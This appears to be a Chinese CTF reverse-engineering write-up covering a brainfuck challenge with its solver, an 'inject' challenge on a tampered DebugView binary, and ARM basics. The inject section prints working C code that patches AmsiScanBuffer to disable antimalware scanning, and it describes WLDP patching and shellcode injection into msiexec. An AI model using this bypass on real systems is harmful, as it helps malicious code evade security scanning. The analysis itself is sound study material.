            v = m[p+44]
            m[p+43] = m[p+43]+v
            m[p+45] -= 1
            v = m[p+45]
            m[p+44] = v
            m[p+45] = 0
            p -= 1
        v = m[p+1]
        m[p+44] = v
        m[p+45] = v
        v = m[p+45]
        m[p+1] = v
        m[p+43] = 0
        m[p+45] = 38
        m[p+46] = 0
        m[p+47] = 0
        while m[p+45] :
            v = m[p+44]
            m[p+46] = v
            m[p+47] = m[p+47]+v
            v = m[p+46]
            m[p+44] = v
            m[p+46] = 1
            if m[p+47] :
                m[p+46] -= 1
                m[p+44] -= 1
                m[p+47] = 0
            m[p+45] -= 1
        v = m[p+46]
        m[p+44] = v
        m[p+46] = 0
        while m[p+44] :
            v = m[p+41]
            m[p+44] = v
            m[p+45] = v
            v = m[p+45]
            m[p+41] = v
            m[p+45] = 0
            if m[p+44] :
                m[p+43] += 1
                m[p+44] = 0
    v = m[p+2]
    m[p+50] = v
    m[p+51] = v
    v = m[p+51]
    m[p+2] = v
    v = m[p+50]
    m[p+48] = v
    v = m[p+48]
    m[p+49] = 102
    m[p+49] = m[p+49]-v
    m[p+50] = 0
    m[p+51] = 0
    m[p+48] = 1
    m[p+47] = 0
    m[p+46] = 0
    m[p+45] = 0
    m[p+44] = 0
    if m[p+49] :
        m[p+48] -= 1
        m[p+49] = 0
    while m[p+48] :
        m[p+49] = 0
        m[p+48] = 1
        while m[p+48] :
            v = m[p+49]
            m[p+50] = 1
            m[p+50] = m[p+50]+v
            m[p+48] -= 1
            v = m[p+48]
            m[p+49] = v
            m[p+48] = 0
            p += 1
        v = m[p+2]
        m[p+50] = v
        m[p+51] = v
        v = m[p+51]
        m[p+2] = v
        v = m[p+50]
        m[p+48] = v
        m[p+50] = 0
        m[p+51] = 0
        while m[p+49] :
            v = m[p+48]
            m[p+47] = m[p+47]+v
            m[p+49] -= 1
            v = m[p+49]
            m[p+48] = v
            m[p+49] = 0
            p -= 1
        v = m[p+48]
        m[p+49] = 108
        m[p+49] = m[p+49]-v
        m[p+50] = 0
        m[p+48] = 1
        if m[p+49] :
            m[p+48] -= 1
            m[p+49] = 0
        if m[p+48] :
            m[p+47] += 1
            m[p+48] = 0
    while m[p+47] :
        m[p+48] = 0
        m[p+47] = 2
        while m[p+47] :
            v = m[p+48]
            m[p+49] = 1
            m[p+49] = m[p+49]+v
            m[p+47] -= 1
            v = m[p+47]
            m[p+48] = v
            m[p+47] = 0
            p += 1
        v = m[p+2]
        m[p+49] = v
        m[p+50] = v
        v = m[p+50]
        m[p+2] = v
        v = m[p+49]
        m[p+47] = v
        m[p+49] = 0
        m[p+50] = 0
        while m[p+48] :
            v = m[p+47]
            m[p+46] = m[p+46]+v
            m[p+48] -= 1
            v = m[p+48]
            m[p+47] = v
            m[p+48] = 0
            p -= 1
        v = m[p+47]
        m[p+48] = 97
        m[p+48] = m[p+48]-v
        m[p+49] = 0
        m[p+47] = 1
        if m[p+48] :
            m[p+47] -= 1
            m[p+48] = 0
        if m[p+47] :
            m[p+46] += 1
            m[p+47] = 0
    while m[p+46] :
        m[p+47] = 0
        m[p+46] = 3
        while m[p+46] :
            v = m[p+47]
            m[p+48] = 1
            m[p+48] = m[p+48]+v
            m[p+46] -= 1
            v = m[p+46]
            m[p+47] = v
            m[p+46] = 0
            p += 1
        v = m[p+2]
        m[p+48] = v
        m[p+49] = v
        v = m[p+49]
        m[p+2] = v
        v = m[p+48]
        m[p+46] = v
        m[p+48] = 0
        m[p+49] = 0
        while m[p+47] :
            v = m[p+46]
            m[p+45] = m[p+45]+v
            m[p+47] -= 1
            v = m[p+47]
            m[p+46] = v
            m[p+47] = 0
            p -= 1
        v = m[p+46]
        m[p+47] = 103
        m[p+47] = m[p+47]-v
        m[p+48] = 0
        m[p+46] = 1
        if m[p+47] :
            m[p+46] -= 1
            m[p+47] = 0
        if m[p+46] :
            m[p+45] += 1
            m[p+46] = 0
    while m[p+45] :
        m[p+46] = 0
        m[p+45] = 4
        while m[p+45] :
            v = m[p+46]
            m[p+47] = 1
            m[p+47] = m[p+47]+v
            m[p+45] -= 1
            v = m[p+45]
            m[p+46] = v
            m[p+45] = 0
            p += 1
        v = m[p+2]
        m[p+47] = v
        m[p+48] = v
        v = m[p+48]
        m[p+2] = v
        v = m[p+47]
        m[p+45] = v
        m[p+47] = 0
        m[p+48] = 0
        while m[p+46] :
            v = m[p+45]
            m[p+44] = m[p+44]+v
            m[p+46] -= 1
            v = m[p+46]
            m[p+45] = v
            m[p+46] = 0
            p -= 1
        v = m[p+45]
        m[p+46] = 123
        m[p+46] = m[p+46]-v
        m[p+47] = 0
        m[p+45] = 1
        if m[p+46] :
            m[p+45] -= 1
            m[p+46] = 0
        if m[p+45] :
            m[p+44] += 1
            m[p+45] = 0
    while m[p+44] :
        m[p+45] = 0
        m[p+44] = 37
        while m[p+44] :
            v = m[p+45]
            m[p+46] = 1
            m[p+46] = m[p+46]+v
            m[p+44] -= 1
            v = m[p+44]
            m[p+45] = v
            m[p+44] = 0
            p += 1
        v = m[p+2]
        m[p+46] = v
        m[p+47] = v
        v = m[p+47]
        m[p+2] = v
        v = m[p+46]
        m[p+44] = v
        m[p+46] = 0
        m[p+47] = 0
        while m[p+45] :
            v = m[p+44]
            m[p+43] = m[p+43]+v
            m[p+45] -= 1
            v = m[p+45]
            m[p+44] = v
            m[p+45] = 0
            p -= 1
        v = m[p+44]
        m[p+45] = 125
        m[p+45] = m[p+45]-v
        m[p+46] = 0
        m[p+44] = 1
        if m[p+45] :
            m[p+44] -= 1
            m[p+45] = 0
        if m[p+44] :
            m[p+43] += 1
            m[p+44] = 0
    v = m[p+43]
    m[p+44] = v
    m[p+42] = v
    v = m[p+44]
    m[p+43] = v
    v = m[p+41]
    m[p+45] = v
    m[p+46] = v
    v = m[p+46]
    m[p+41] = v
    m[p+43] = 0
    m[p+44] = 1
    m[p+46] = 1
    if m[p+45] :
        m[p+46] -= 1
        m[p+45] = 0
    v = m[p+46]
    m[p+45] = m[p+45]+v
    m[p+46] = 0
    if m[p+45] :
        m[p+44] -= 1
        m[p+43] += 1
        m[p+45] = 0
    while m[p+44] :
        v = m[p+42]
        m[p+44] = v
        m[p+45] = v
        v = m[p+45]
        m[p+42] = v
        m[p+45] = 1
        if m[p+44] :
            m[p+45] -= 1
            m[p+44] = 0
        v = m[p+45]
        m[p+44] = m[p+44]+v
        m[p+45] = 0
        if m[p+44] :
            m[p+43] += 1
            m[p+44] = 0
    m[p+44] = 1
    while m[p+43] :
        sys.stdout.write('nonono')
        m[p+44] -= 1
        m[p+45] = 111
        m[p+46] = 0
        m[p+43] = 0
    while m[p+44] :
        m[p+41] = 1
        m[p+40] = 5
        m[p+45] = 83
        m[p+46] = 15
        m[p+47] = 90
        m[p+48] = 84
        m[p+49] = 80
        m[p+50] = 85
        m[p+51] = 3
        m[p+52] = 2
        m[p+53] = 0
        m[p+54] = 7
        m[p+55] = 86
        m[p+56] = 7
        m[p+57] = 7
        m[p+58] = 91
        m[p+59] = 9
        m[p+60] = 0
        m[p+61] = 80
        m[p+62] = 5
        m[p+63] = 2
        m[p+64] = 3
        m[p+65] = 93
        m[p+66] = 92
        m[p+67] = 80
        m[p+68] = 81
        m[p+69] = 82
        m[p+70] = 84
        m[p+71] = 90
        m[p+72] = 95
        m[p+73] = 2
        m[p+74] = 87
        m[p+75] = 7
        m[p+76] = 52
        m[p+77] = 5
        m[p+78] = 36
        m[p+79] = 0
        m[p+80] = 0
        while m[p+78] :
            v = m[p+77]
            m[p+79] = v
            m[p+80] = m[p+80]+v
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 1
            if m[p+80] :
                m[p+79] -= 1
                m[p+77] -= 1
                m[p+80] = 0
            m[p+78] -= 1
        v = m[p+79]
        m[p+77] = v
        m[p+79] = 0
        while m[p+77] :
            v = m[p+40]
            m[p+77] = v
            m[p+78] = v
            v = m[p+78]
            m[p+40] = v
            v = m[p+40]
            m[p+79] = v
            m[p+80] = v
            v = m[p+80]
            m[p+40] = v
            m[p+78] = 0
            m[p+80] = 0
            while m[p+79] :
                v = m[p+80]
                m[p+81] = 1
                m[p+81] = m[p+81]+v
                m[p+79] -= 1
                v = m[p+79]
                m[p+80] = v
                m[p+79] = 0
                p += 1
            v = m[p+2]
            m[p+81] = v
            m[p+82] = v
            v = m[p+82]
            m[p+2] = v
            v = m[p+81]
            m[p+79] = v
            m[p+81] = 0
            m[p+82] = 0
            while m[p+80] :
                v = m[p+79]
                m[p+78] = m[p+78]+v
                m[p+80] -= 1
                v = m[p+80]
                m[p+79] = v
                m[p+80] = 0
                p -= 1
            v = m[p+40]
            m[p+80] = v
            m[p+81] = v
            v = m[p+81]
            m[p+40] = v
            m[p+80] += 1
            m[p+81] = 0
            while m[p+80] :
                v = m[p+81]
                m[p+82] = 1
                m[p+82] = m[p+82]+v
                m[p+80] -= 1
                v = m[p+80]
                m[p+81] = v
                m[p+80] = 0
                p += 1
            v = m[p+2]
            m[p+82] = v
            m[p+83] = v
            v = m[p+83]
            m[p+2] = v
            v = m[p+82]
            m[p+80] = v
            m[p+82] = 0
            m[p+83] = 0
            while m[p+81] :
                v = m[p+80]
                m[p+79] = m[p+79]+v
                m[p+81] -= 1
                v = m[p+81]
                m[p+80] = v
                m[p+81] = 0
                p -= 1
            m[p+86] = 0
            m[p+87] = -8
            m[p+88] = 0
            while m[p+87] :
                m[p+87] += 8
                m[p+85] = 0
                m[p+84] = 0
                m[p+83] = 0
                m[p+82] = 0
                m[p+81] = 2
                while m[p+79] :
                    m[p+81] -= 1
                    v = m[p+81]
                    m[p+82] = m[p+82]+v
                    m[p+84] = m[p+84]+v
                    v = m[p+82]
                    m[p+81] = v
                    m[p+84] -= 1
                    v = m[p+84]
                    m[p+83] = m[p+83]-v
                    m[p+81] = m[p+81]-v*2
                    m[p+86] += 1
                    m[p+86] = m[p+86]+v*2
                    m[p+84] = 0
                    m[p+82] = 0
                    m[p+79] -= 1
                v = m[p+83]
                m[p+79] = v
                m[p+81] = 2
                m[p+83] = 0
                while m[p+80] :
                    m[p+81] -= 1
                    v = m[p+81]
                    m[p+82] = m[p+82]+v
                    m[p+84] = m[p+84]+v
                    v = m[p+82]
                    m[p+81] = v
                    m[p+84] -= 1
                    v = m[p+84]
                    m[p+85] += 1
                    m[p+85] = m[p+85]+v*2
                    m[p+83] = m[p+83]-v
                    m[p+81] = m[p+81]-v*2
                    m[p+82] = 0
                    m[p+84] = 0
                    m[p+80] -= 1
                v = m[p+83]
                m[p+80] = v
                v = m[p+85]
                m[p+86] = m[p+86]-v
                m[p+85] = 0
                m[p+83] = 0
                if m[p+86] :
                    m[p+84] += 1
                    m[p+86] = 0
                v = m[p+87]
                m[p+86] = m[p+86]+v
                m[p+85] = m[p+85]+v
                v = m[p+86]
                m[p+87] = v
                m[p+86] = 0
                while m[p+85] :
                    v = m[p+84]
                    m[p+83] = m[p+83]+v
                    v = m[p+83]
                    m[p+84] = v*2
                    m[p+83] = 0
                    m[p+85] -= 1
                v = m[p+84]
                m[p+88] = m[p+88]+v
                m[p+87] -= 7
                m[p+84] = 0
            v = m[p+88]
            m[p+79] = m[p+79]+v
            m[p+88] = 0
            while m[p+77] :
                v = m[p+79]
                m[p+80] = v
                m[p+78] += 1
                v = m[p+78]
                m[p+79] = v
                m[p+77] -= 1
                v = m[p+77]
                m[p+78] = v
                m[p+77] = 0
                p += 1
            v = m[p+79]
            m[p+80] = v
            m[p+2] = v
            v = m[p+80]
            m[p+79] = v
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 0
            m[p+80] = 0
            while m[p+78] :
                v = m[p+77]
                m[p+76] = m[p+76]+v
                m[p+78] -= 1
                v = m[p+78]
                m[p+77] = v
                m[p+78] = 0
                p -= 1
            v = m[p+40]
            m[p+77] = v
            m[p+78] = v
            m[p+78] += 1
            v = m[p+78]
            m[p+40] = v
            v = m[p+40]
            m[p+77] = v
            m[p+78] = v
            v = m[p+78]
            m[p+40] = v
            m[p+78] = 36
            m[p+79] = 0
            m[p+80] = 0
            while m[p+78] :
                v = m[p+77]
                m[p+79] = v
                m[p+80] = m[p+80]+v
                v = m[p+79]
                m[p+77] = v
                m[p+79] = 1
                if m[p+80] :
                    m[p+79] -= 1
                    m[p+77] -= 1
                    m[p+80] = 0
                m[p+78] -= 1
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 0
        m[p+40] = 0
        m[p+78] = 32
        m[p+79] = 0
        m[p+80] = 0
        while m[p+78] :
            v = m[p+77]
            m[p+79] = v
            m[p+80] = m[p+80]+v
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 1
            if m[p+80] :
                m[p+79] -= 1
                m[p+77] -= 1
                m[p+80] = 0
            m[p+78] -= 1
        v = m[p+79]
        m[p+77] = v
        m[p+79] = 0
        while m[p+77] :
            v = m[p+40]
            m[p+78] = v
            m[p+79] = v
            v = m[p+79]
            m[p+40] = v
            v = m[p+78]
            m[p+77] = 5
            m[p+77] = m[p+77]+v
            m[p+78] = 0
            m[p+79] = 0
            while m[p+77] :
                v = m[p+78]
                m[p+79] = 1
                m[p+79] = m[p+79]+v
                m[p+77] -= 1
                v = m[p+77]
                m[p+78] = v
                m[p+77] = 0
                p += 1
            v = m[p+2]
            m[p+79] = v
            m[p+80] = v
            v = m[p+80]
            m[p+2] = v
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 0
            m[p+80] = 0
            while m[p+78] :
                v = m[p+77]
                m[p+76] = m[p+76]+v
                m[p+78] -= 1
                v = m[p+78]
                m[p+77] = v
                m[p+78] = 0
                p -= 1
            v = m[p+40]
            m[p+78] = v
            m[p+79] = v
            v = m[p+79]
            m[p+40] = v
            m[p+79] = 0
            while m[p+78] :
                v = m[p+79]
                m[p+80] = 1
                m[p+80] = m[p+80]+v
                m[p+78] -= 1
                v = m[p+78]
                m[p+79] = v
                m[p+78] = 0
                p += 1
            v = m[p+45]
            m[p+80] = v
            m[p+81] = v
            v = m[p+81]
            m[p+45] = v
            v = m[p+80]
            m[p+78] = v
            m[p+80] = 0
            m[p+81] = 0
            while m[p+79] :
                v = m[p+78]
                m[p+77] = m[p+77]+v
                m[p+79] -= 1
                v = m[p+79]
                m[p+78] = v
                m[p+79] = 0
                p -= 1
            v = m[p+77]
            m[p+78] = m[p+78]-v
            m[p+77] = 0
            if m[p+78] :
                m[p+77] += 1
                m[p+78] = 0
            while m[p+77] :
                m[p+79] = 0
                m[p+80] = 0
                m[p+41] = 0
                m[p+77] = 0
            v = m[p+40]
            m[p+77] = v
            m[p+78] = v
            m[p+78] += 1
            v = m[p+78]
            m[p+40] = v
            v = m[p+40]
            m[p+77] = v
            m[p+78] = v
            v = m[p+78]
            m[p+40] = v
            m[p+78] = 32
            m[p+79] = 0
            m[p+80] = 0
            while m[p+78] :
                v = m[p+77]
                m[p+79] = v
                m[p+80] = m[p+80]+v
                v = m[p+79]
                m[p+77] = v
                m[p+79] = 1
                if m[p+80] :
                    m[p+79] -= 1
                    m[p+77] -= 1
                    m[p+80] = 0
                m[p+78] -= 1
            v = m[p+79]
            m[p+77] = v
            m[p+79] = 0
        v = m[p+41]
        m[p+77] = v
        m[p+78] = v
        v = m[p+78]
        m[p+41] = v
        m[p+78] = 1
        while m[p+77] :
            sys.stdout.write('Congrats!')
            m[p+78] -= 1
            m[p+79] = 33
            m[p+80] = 0
            m[p+77] = 0
        while m[p+78] :
            sys.stdout.write('nonono')
            m[p+79] = 111
            m[p+80] = 0
            m[p+78] -= 1
        m[p+44] -= 1
    return 0

brainfuck(None)

 一点点调试分析（漫长的过程，需要有耐心）。分析得到的结论（花了5 days）：

  1. 前5个字符为flag{，字符串总长度为38，最后一个字符为}。
  2. flag{}中最后一个字符为4。

  3. flag{}中的字符，满足：flag[i]^flag[i+1]==arr[i]，且arr=[83,15,90,84,80,85,3,2,0,7,86,7,7,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,87,7,52]。

     最后上脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2023/01/01 20:59:31
# @Author: wd-2711
'''

if __name__ == "__main__":
    arr = [83,15,90,84,80,85,3,2,0,7,86,7,7,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,87,7,52]
    nowChar = chr(arr[-1])
    ans = chr(arr[-1])
    for a in arr[:-1][::-1]:
        for i in range(256):
            if ord(nowChar)^i == a:
                nowChar = chr(i)
                ans += nowChar
                break
    print("flag{"+ans[:32][::-1]+"}")
# flag{d78b6f30225cdc811adfe8d4e7c9fd34}

0x02

知识点1：py，pyc，pyo，pyd之间的关系

image-20221227153429032

知识点2：brainfuck语言。

 8种指令字符，图灵完备的编程语言。Brainfuck包括1个字节为单位、且初始值为0的数组，一个指向该数组的指针，用于输入输出的字节流。

image-20221228133435556

  注意，在对数组的字节进行加减时有两种特殊的规则：（1）0−1=255。（2）255+1=0。

 以下是brainfuck的一个解释器，并实现了helloworld，挺有意思：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# Python 实现的 Brainfuck 解释器

test = '++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.'
# test1 = ',----------[----------------------.,----------]'

def bf_interpreter(bf_code):
    main_list = [0]
    now_id = 0
    now_position = 0
    while now_position < len(bf_code):
        
        command = bf_code[now_position]
        print(main_list, now_id)
        if command == '<':
            if now_id == 0:
                print_error(1, '内存错误，指针位于-1')
            else:
                now_id -= 1
        elif command == '>':
            now_id += 1
            if now_id >= len(main_list):
                main_list.append(0)
        elif command == '+':
            main_list[now_id] += 1
            if main_list[now_id] == 256:
                main_list[now_id] = 0
        elif command == '-':
            main_list[now_id] -= 1
            if main_list[now_id] == -1:
                main_list[now_id] = 255
        elif command == '.':
            print(chr(main_list[now_id]), end='')
        elif command == ',':
            while True:
                input_chr = input('请输入：')
                if len(input_chr) == 1:
                    if ord(input_chr) < 128:
                        main_list[now_id] = ord(input_chr)
                        break
                    else:
                        print_error(2, '输入错误，只能输入ASCII字符')
                else:
                    print_error(2, '输入错误，只能输入一个字符')
        elif command == '[':
            if main_list[now_id] == 0:
                try:
                    now_position = bf_code.index(']', now_position) - 1
                except ValueError:
                    print_error(3, '代码错误，缺失：]')
        elif command == ']':
            if main_list[now_id] != 0:
                try:
                    now_position = len(bf_code) - bf_code[::-1].index('[', len(bf_code) - now_position - 1) - 1
                except ValueError:
                    print_error(3, '代码错误，缺失 [')
        else:
            print_error(0, '无法解析的字符：' + command)
        now_position += 1
    
def print_error(error_code, msg):
    print(error_code, msg)

if __name__ == '__main__':
    bf_interpreter(test)

inject（菜鸡的悲哀：没做出来）

0x00

 注入？exe名称是：dbgview-infected，dbg视图被感染？die看了看是C/C++的32位GUI程序。打开之后，是一个Debug窗口：

image-20230101210714601

初始思路是：对debugview进行注入，从而得到flag。

 查了查，debug view是一个软件，所以，你得学一学怎么用这个软件吧。

0x01 debugView 初探

参考博客：

  1. https://blog.csdn.net/bcbobo21cn/article/details/52401087

     debugView是一个调试工具，可以捕获程序中由TRACE和OutputDebugString输出的信息。可以捕获系统实时输出的Debug信息并保存为日志文件，可以方便开发人员在系统发布前监控系统流程与异常。

image-20230101212521354

 上图红色框是控制捕获开关，绿色框是控制是否捕获系统内核的Debug信息，蓝色框是控制是否捕获Win32的Debug信息。

image-20230101212817780

 上图式是过滤器，用于对抓到的消息按照某种规则进行过滤。

0x02 MFC 注入

 突然想到之前做过的一道题，具体就是某个exe文件打开后是一个窗口，通过工具可以查到窗口中的某个部件有一个监听函数，直接向监听函数发消息就可以得到flag。题目名称叫mfc逆向-200。仿照这个题，没有做成功，感觉自己对MFC注入底层原理了解的还不是很到位，得系统学习一下MFC注入了。

  搜了搜资料，主要就是找消息函数的映射表，主要看：（讲的比较详细）

https://www.bilibili.com/video/BV1U94y1D7B4/?vd_source=270df07e19daab36f36e1863f3440455

 这个应该不是MFC，用XSPY根本看不出来，又发现了这个里面多了一个easyre段。重点应该是easyre段。

0x03 wp的复现

1
屈服了，看wp，呜呜我是菜狗。

 大佬的wp地址：https://www.anquanke.com/post/id/241109

 wp也是分析easyre段，由于easyre的代码比较长，逻辑比较复杂，所需需要先找到段的入口点。由于此程序是静态注入的，所以大佬的思路是：找到原先的程序，进行简单的比较，从而找到作者修改的部分。

 先看文件属性：

image-20230108192805387

 这是一个国人汉化后的4.76 debugview版本，找到之后使用bindiff对比一下。

image-20230108195348599

image-20230108195559757

 可以发现0040F8B0函数不同。具体如下：

image-20230108195819278

image-20230108195932551

 上面左图为题目程序，右图为正常程序，可以看到题目程序有一个强制跳转，相关代码为：

image-20230108200731899

image-20230108201645186

 相当于将0x487000指向的数据改为0x3EB80E8，然后直接执行0x487000处的代码。由于上下文是解析.dmp文件的地方，而与dmp相关的功能只有一处，即进程故障转储，基本可以确认这边就是真正的程序入口。

 大佬又说，上面的是段注入，可能也会有远程线程注入（这个真是奇思妙想啊）。于是用procmonitor（进程观测器）观测程序，但是没有像大佬说的点击进程故障存储后会有一个子进程启动，进程太多可能没太仔细查。

 之后用x32dbg调试（ida也可以，只不过复现的话尽量与wp相同）。

image-20230108211452405

  如上图所示，这是点击进程故障转储后进入的程序窗口，其中执行绿色框与红色框的时候esi=0x487005，上图表示：

1
2
3
4
5
6
7
if *(esi+0x238) != *(esi+0x23C):
	jump sub_4C5C84 -> jump sub_4C6CA9
push *(esi+0x2C)
push *(esi+0x28)
push *(esi+0x8C)
push *(esi+0x88)
jump sub_4C7C08

 这得过了30天了，没碰reverse，颓废了，得努力啊！！！！

 x32dbg看不出来（自己能力问题），直接用ida了，跟着wp首先看sub_4C6CA9函数，里面有sub_4C7C08函数，wp说这个函数的功能是加载其他的函数。如下所示：

image-20230209101355507

 这3个函数分别加载VirtualAlloc、VirtualFree与RtlExitUserProcess（wp说的，咱也不知道，可能是参数的原因），最后得到的应该是三个函数的地址。之后，有：

image-20230209111345227

image-20230209113214545

 之后，比较[edi+6e4]处的flag，如下所示：

image-20230209113702959

 由于flag=1，于是进入：

image-20230209114024703

 据wp所说，sub_4C5FE0函数调用了asmi.dll，并对AmsiScanString、AmsiScanBuffer进行了patch，经我x32dbg调试，可以发现AmsiScanBuffer函数，但是不知道咋patch的（能力问题）。但是呢，看：

image-20230209124311179

  有比较多的对称函数，比较正常的patch函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <Windows.h>
#include <stdio.h>

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

    Sleep(500);

    DWORD oldProtect;
    char patch = 0xc3;

    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hAmsi);
    return 0;
}

 还是可以发现一些端倪的。

 之后，还有一个sub_4C60C6函数，调用了wldp.dll并进行了patch，以绕过wldp的数字签名验证。具体的函数有：WldpQueryDynamicCodeTrust、WldpIsClassInApprovedList。这两个函数是wldp提供的用于支持DynmaicCodePolicy策略的函数，它们可以检查内存中的一些函数是否发生了hook，以及一些CLSID接口的函数是否是可信任的。通常来说，这两个函数可以用来检查前面提到的AmsiScanString，AmsiScanBuffer是否发生了hook，以及一些com对象是否被劫持。

 绕过wldp与amsi的防御后，有：

image-20230209135816100

 第一次值为4，进入到sub_4C73B3。下面是sub_4C73B3的具体流程：

image-20230209141700492

 之后，读取Kernel32.dll，将相关的API填充到对应的位置上，最后跳转到指定的函数地址，如下所示：（wp说的，这个函数太长了，我不知道他是怎么分析出来的，就离谱）

image-20230209141940417

 再跑一跑，wp说到了类似于windows的main函数外部，用于准备各类全局变量和环境变量的加载部分，如下所示：

image-20230209145723830

 咱也不知道怎么样，他把这段内存dump出来了（我dump的时候一直报IAT不在PE映像中，需要改基，不知道该怎么做了，太菜了）。如下所示：

image-20230209162043966

 上述代码流程：（wp中原话）

  1. 创建了一个msiexec的进程。
  2. 往进程地址空间写入了三段内存空间，其中有两段是加密的数据段，还有一个和之前injected的代码段一致。

  3. 使用SetThreadContext修改了主线程的地址，然后重新运行线程，从而运行注入的shellcode。

     这个题太难了，准备放弃了，看wp也没有复现出来。还是需要不断提高自己。

     wp地址：https://www.anquanke.com/post/id/241109

     有缘再见！

补充：

  • bindiff是ida的一个插件，可以比较两个程序的相似程度。
  • dmp文件。dmp文件是系统错误的内存转储文件。当电脑蓝屏或系统崩溃时，Windows会将错误报告存储在一个后缀名为.DMP的文件里。该文件记录了系统错误的详细信息，技术人员可以分析它找到系统崩溃的原因，从而解决问题。
  • AMSI（Antimalware Scan Interface）即反恶意软件扫描接口，是微软推出的安全模块。AMSI实质上是一个DLL文件，可以使用内存patch来进行绕过。
  • .NET Framework在v4.8版中使用Antimalware Scan Interface (AMSI)以及Windows Lockdown Policy(WLDP)机制来阻止攻击者从内存中运行潜在风险的软件，其中WLDP会验证动态代码的数字签名。
  • COM 类是在与给定对象交互时在代码中执行的一组接口的实现。 C++ 类和 COM 类之间有一个重要区别：在 C++ 中，类是一种类型，而 COM 类只是对象的定义，不携带任何类型，尽管 C++ 程序员可以使用 C++ 类实现它。 每个 COM 类由 CLSID（唯一的 128 位 GUID）标识，服务器必须注册该 GUID。

0x04 amsi的patch绕过 && wldp相关绕过

amsi :https://xz.aliyun.com/t/11097

amsi :https://www.secpulse.com/archives/182106.html

wldp : https://www.anquanke.com/post/id/179832?display=mobile#h2-10

babydsp

0x00

  dmp是系统错误产生的文件，比如windows自己的memory.dmp和minixxxx.dmp文件。用windbg打开看了好久，没啥头绪，直接看wp。

0x01

 奇怪的题，之后找的时候就找不到了，连题目都找不到了，我下载错了？

补充：

  1. windbg使用：
1
2
3
4
5
6
7
x //所有与指定模式匹配的上下文中显示符号，例如查看模块 x notepad!*, x notepad!*main*
!analyze -v //分析dmp文件
lmvm module_name //了解模块的详细信息
x /D /f ClimbToTop!* // 查找模块内的函数
x /D /d ClimbToTop!* // 查找模块内的数据
x /D ClimbToTop!* // 查找模块内的所有数据
u //反编译指定地址参数之后的代码，而uf则是反编译整个函数的代码
  1. ucrtbased.dll是许多应用程序、游戏或 Web 浏览器扩展所需的核心 Windows 系统文件。

BabyARM

0x00 RAM64基础

 特殊的寄存器：

1
2
3
x30 //记录返回地址，也叫LR寄存器
R15 //存储下一条指令的地址，也叫PC寄存器
SP  //栈寄存器

 相关指令：

1
2
3
4
5
6
7
8
LDR //单寄存器读取
LDP //多寄存器读取
STR //单寄存器存储
STP //多寄存器存储
B   //立即跳转，相当于jmp
BL  //相当于call
BR x0 //跳转到x0里面存储的地址
BLR // BL与BR的结合

0x01 题目

 到main函数里，发现有很多0x02DFDFF5的花指令，把他们都patch成0x0000A0E1，也就是ARM中的NOP，就可以进行反汇编。最后得到如下代码：

image-20230324195831459

0x02 wp的复现

 由于之前没有做过ARM相关的题，所以直接看wp，链接如下：

https://www.anquanke.com/post/id/222303#h2-2

 wp首先使用qemu来运行了此程序。qemu是一个开源的虚拟机软件，可以在不同的CPU架构和操作系统之间进行全系统模拟或者用户程序模拟。软件逆向中，qemu可以用来分析和调试不同平台的二进制文件，例如ARM、MIPS、PowerPC等。

 之后，作者又将此程序放到了ghidra中查看。ghidra是一个由美国国家安全局（NSA）研究部门开发和维护的软件逆向工程（SRE）框架，它包含了一系列的高级软件分析工具。

 由于x86与arm架构不兼容，费尽心机配置了qemu+ida的调试环境，但是在还是有一些Bug：ida75与ida77的armlinux_server与安装的树莓派镜像不同，可能是树莓派版本的问题，导致只有ida72才能调试arm.bin文件，但是ida72又不能反汇编成代码，只能看汇编，栓Q。

 经过动态调试，发现下面v11循环调用的3个函数是+、-、xor：

image-20230326132627189

 写脚本可以得到前几项：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2023/03/24 19:59:52
# @Author: wd-2711
'''

byte_2103C = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11, 0x2A, 0x35, 0xF6, 0x00, 0x00, 0x00]
v5_tar = [0x63, 0xD2, 0xFE, 0x4F, 0xB9, 0xD9, 0x00, 0x3F, 0xA0, 0x80, 0x43, 0x50]
res = ""
for i, v in enumerate(v5_tar):
    if i % 3 == 0:
        v += 0x100
        res += chr((v - byte_2103C[i]) & 0xff)
    elif i % 3 == 1:
        res += chr((v + byte_2103C[i]) & 0xff)
    elif i % 3 == 2:
        res += chr(v ^ byte_2103C[i])
print(res)

 补充：树莓派中的文件编辑

1
2
ctrl+o //回车保存
ctrl+x //退出

 接下来，在红框位置下断点：

image-20230326142231223

 得到unk_2104C，这是一个6*6的迷宫：

image-20230326142333573

 之后进入sub_10770函数，可以看到：

image-20230326142802977

 直接写脚本，花了好长时间jpg：

1
2
3
4
5
6
7
8
9
10
11
12
